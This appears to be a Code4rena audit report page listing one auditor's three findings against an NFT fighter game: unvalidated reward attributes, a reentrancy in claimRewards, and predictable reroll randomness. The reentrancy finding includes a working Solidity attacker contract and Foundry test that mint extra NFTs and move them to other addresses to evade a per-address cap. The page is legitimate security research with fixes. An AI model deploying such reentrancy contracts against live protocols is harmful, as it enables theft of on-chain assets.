Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 89/283
Findings: 3
Award: $64.75
π Selected for report: 0
π Solo Findings: 0
π Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
0.3167 USDC - $0.32
User choose the URI, type, element and weight when claiming their reward NFT. There is no validation of this data so a player could input invalid data.
In the case of weight this could lead to an unfair advantage in the game if the user puts an extremely high value. In the case of element it could cause errors in the game if the chosen element does not exist.
function testClaimRewardsAttack() public { address user1 = makeAddr("user1"); address user2 = makeAddr("user2"); _mintFromMergingPool(user1); _mintFromMergingPool(user2); assertEq(_fighterFarmContract.ownerOf(0), user1); assertEq(_fighterFarmContract.ownerOf(1), user2); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // winners of roundId 0 are picked _mergingPoolContract.pickWinner(_winners); assertEq(_mergingPoolContract.isSelectionComplete(0), true); assertEq(_mergingPoolContract.winnerAddresses(0, 0) == user1, true); // winner matches ownerOf tokenId assertEq(_mergingPoolContract.winnerAddresses(0, 1) == user2, true); string[] memory _modelURIs = new string[](2); _modelURIs[0] = "innapropriate URI"; // invalid URI _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; // valid URI string[] memory _modelTypes = new string[](2); _modelTypes[0] = "invalid type"; // invalid type _modelTypes[1] = "original"; // valid type uint256[2][] memory _customAttributes = new uint256[2][](2); _customAttributes[0][0] = uint256(9000); // element - invalid _customAttributes[0][1] = uint256(123456789); // weight - invalid _customAttributes[1][0] = uint256(1); // element - valid _customAttributes[1][1] = uint256(80); // weight - valid // winners of roundId 1 are picked _mergingPoolContract.pickWinner(_winners); // winner claims rewards for previous roundIds vm.prank(user1); _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); // invalid URI, type, element and weight }
Foundry
Rather than the user choosing the data itself, let them choose an index for an array. You can then validate that the index is valid based on the length of the array.
Invalid Validation
#0 - c4-pre-sort
2024-02-25T16:35:57Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-25T16:36:13Z
raymondfam marked the issue as duplicate of #315
#2 - c4-judge
2024-03-14T14:52:14Z
HickupHH3 marked the issue as duplicate of #1017
#3 - c4-judge
2024-03-15T02:19:21Z
HickupHH3 marked the issue as partial-50
#4 - c4-judge
2024-03-15T02:19:32Z
HickupHH3 marked the issue as not a duplicate
#5 - c4-judge
2024-03-15T02:20:12Z
HickupHH3 marked the issue as duplicate of #366
#6 - c4-judge
2024-03-15T02:20:17Z
HickupHH3 marked the issue as partial-25
#7 - c4-judge
2024-03-19T09:03:05Z
HickupHH3 changed the severity to 3 (High Risk)
π Selected for report: DarkTower
Also found by: 0brxce, 0xBinChook, 0xCiphky, 0xDetermination, 0xLogos, Aymen0909, BARW, BoRonGod, Kow, Krace, MrPotatoMagic, PedroZurdo, Tricko, Zac, ZanyBonzy, alexxander, bhilare_, djxploit, evmboi32, grearlake, haxatron, immeas, jnforja, ke1caM, klau5, rouhsamad, sashik_eth, sl1, solmaxis69, ubl4nk, web3pwn, zxriptor
64.3894 USDC - $64.39
When an attacker is due multiple reward NFTs they can use reentrancy to claim more than they are entitled to.
NOTE: The attacker must win multiple rounds as this re-entrancy attack will not be beneficial if they have only won a single round.
The more rounds the attacker has won the more beneficial the reentrancy is: Wins 1 rounds claim 1 NFTs Wins 2 rounds claim 3 NFTs Wins 3 rounds claim 6 NFTs Wins 4 rounds claim 10 NFTs Wins 5 rounds claim 15 NFTs
We can use this formula to compute how many NFTs we will get:
numNFTs = (wins^2 + wins) / 2
Attacker Contract:
pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import { FighterFarm } from "./FighterFarm.sol"; interface IMergingPool { function claimRewards(string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes) external; } contract RewardsAttacker { address public target; address public farmNFT; uint count; bool public initialNFT = true; constructor(address _target, address _farmNFT) { target = _target; farmNFT = _farmNFT; } function attack() public { string[] memory _modelURIs = new string[](1000); string[] memory _modelTypes = new string[](1000); uint256[2][] memory _customAttributes = new uint256[2][](1000); IMergingPool(target).claimRewards(_modelURIs, _modelTypes, _customAttributes); } function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4) { if (initialNFT) { initialNFT = false; } else { // transfer NFT to random address to avoid limit of 10 NFTs per address // in an actual attack, the attacker would transfer the NFTs to addresses they control count++; address randomAddress = address(uint160(uint(keccak256(abi.encodePacked(block.timestamp, count))))); ERC721(farmNFT).transferFrom(address(this), randomAddress, _tokenId); attack(); } return this.onERC721Received.selector; } }
Test:
function testClaimRewardsReentrancy() public { address user1 = makeAddr("user1"); address attacker = makeAddr("attacker"); vm.prank(attacker); RewardsAttacker rewardsAttacker = new RewardsAttacker(address(_mergingPoolContract), address(_fighterFarmContract)); _mintFromMergingPool(user1); _mintFromMergingPool(address(rewardsAttacker)); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; // other user _winners[1] = 1; // attacker uint roundsWon = 5; for(uint256 i = 0; i < roundsWon; i++) { _mergingPoolContract.pickWinner(_winners); } // winner claims rewards for previous roundIds console.log("Total supply before attack: ", _fighterFarmContract.totalSupply()); // 2 vm.prank(attacker); rewardsAttacker.attack(); // Supply should only increase by 5 but instead increases by 15 console.log("Total supply after attack: ", _fighterFarmContract.totalSupply()); // 17 }
Foundry
Add a reentrancy guard to the claimRewards function
Reentrancy
#0 - c4-pre-sort
2024-02-22T09:09:10Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T09:09:19Z
raymondfam marked the issue as duplicate of #37
#2 - c4-judge
2024-03-07T02:42:43Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-07T02:44:27Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0352 USDC - $0.04
The description for the reroll function states: "Rolls a new fighter with random traits." However all of the factors in the function can be predicted ahead of time.
uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
The above dna can be predicted. Additionally the player can transfer the NFT to a different address which produces an outcome more similar to what they want.
Manual review
Either let the player choose the dna value or use a secure source of randomness such as Chainlink VRF.
Other
#0 - c4-pre-sort
2024-02-24T01:50:05Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T01:50:59Z
raymondfam marked the issue as duplicate of #53
#2 - c4-judge
2024-03-06T03:49:26Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-06T03:52:10Z
HickupHH3 marked the issue as satisfactory
#4 - c4-judge
2024-03-15T02:10:54Z
HickupHH3 changed the severity to 2 (Med Risk)
#5 - c4-judge
2024-03-22T04:21:38Z
HickupHH3 marked the issue as duplicate of #376